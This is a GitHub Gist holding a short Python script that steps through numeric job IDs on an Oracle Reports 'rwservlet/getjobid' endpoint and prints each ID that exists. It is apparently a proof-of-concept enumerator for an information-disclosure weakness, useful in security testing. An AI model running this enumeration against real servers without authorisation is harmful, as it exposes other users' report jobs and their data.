Created
November 28, 2019 11:40
-
-
Save echel0nn/fbdb03be23963143a749fbd9a48ce022 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
URL = "http://<REPLACEME>/reports/rwservlet/getjobid<REPLACEME>" | |
DEF_ERR_STR = "does not exist." | |
def find(): | |
ID = 0 | |
while True: | |
URLx = URL.replace("<REPLACEME>", str(ID)) | |
req = requests.get(URLx) | |
if DEF_ERR_STR not in req.text: | |
print("[+] found a job with the ID [" + str(ID) + "]") | |
else: | |
if ID % 10 == 0: | |
print(str(ID) + " jobs tested") | |
ID += 1 | |
if __name__ == "__main__": | |
find() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment